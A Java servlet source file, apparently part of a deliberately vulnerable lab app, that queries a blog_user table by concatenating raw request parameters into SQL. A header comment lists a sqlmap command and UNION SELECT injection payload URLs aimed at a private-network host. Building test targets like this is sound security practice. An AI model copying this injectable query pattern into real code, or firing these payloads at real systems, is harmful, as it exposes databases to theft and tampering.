package coreservlets;

import java.io.IOException;
import java.io.PrintWriter;
import java.sql.ResultSet;
import java.sql.SQLException;
import java.util.Properties;

import javax.servlet.ServletException;
import javax.servlet.http.HttpServlet;
import javax.servlet.http.HttpServletRequest;
import javax.servlet.http.HttpServletResponse;

import com.haha.dao.util.DBUtil;

/**
 *  cmd:
	sqlmap -u "http://192.168.1.123:8080/shw/sqli1?name=xxx&desc=yyy" --dbms mysql -p desc  --dbs
	
	payload: 
	http://192.168.1.123:8080/SpringHibernate/sqli1?name=1%27%20union%20select%20%20version%28%29-- %27--
	 //name=xxx&desc=yyy' UNION ALL SELECT CONCAT(0x716a786171,0x6c426443645374494f68,0x716b767571)#
	http://192.168.1.123:8080/shw/sqli2?name=xxx&desc=yyy' UNION ALL SELECT CONCAT(0x716a786171,0x6c426443645374494f68,0x716b767571)#
 */

public class SqlIServlet1 extends HttpServlet {
	public void doGet(HttpServletRequest request, HttpServletResponse response)
			throws ServletException, IOException {
		
		Properties p = new PropertiesLoader("classpath:/database.properties").getProperties();
		
		DBUtil.init(p.getProperty("jdbc.url"),
				p.getProperty("jdbc.user"), 
				p.getProperty("jdbc.password")
		);
		
		System.out.println(p.getProperty("jdbc.url"));
		
		String sql = 
				"select username from blog_user where"
				+ " username = '"+ request.getParameter("name") + 
				 "' and user_desc='"+ request.getParameter("desc")+"'" ;		
		ResultSet rstr = null;
			try {
                rstr = DBUtil.executeQuery(sql);
            } catch (Exception e1) {
                response.sendRedirect("/error.jsp");
//                e1.printStackTrace();
            }
			String name = null;
			System.out.println("execute sql:" + sql);
				try {
					while (rstr.next()) {
						name = rstr.getString(1);
						System.out.println("username: " + name);
					}
				} catch (Exception e) {
//					e.printStackTrace();
				}
				response.setContentType("text/html");
				PrintWriter out = response.getWriter();
				String uri = request.getRequestURI();
				out.println("<!DOCTYPE HTML PUBLIC \"-//W3C//DTD HTML 4.0 "
						+ "Transitional//EN\">" + "\n" + "<HTML>\n" + "<HEAD>"
						+ "<TITLE>" + "Test Servlet 1" + "</TITLE>" + "</HEAD>\n"
						+ "<BODY BGCOLOR=\"#FDF5E6\">\n" + "<H2>"
						+ "Search result is:<b>" + name + "</b></H2>\n" + "</BODY>"
						+ "</HTML>");
	}

	public void doPost(HttpServletRequest request, HttpServletResponse response)
			throws ServletException, IOException {
		doGet(request, response);
	}
}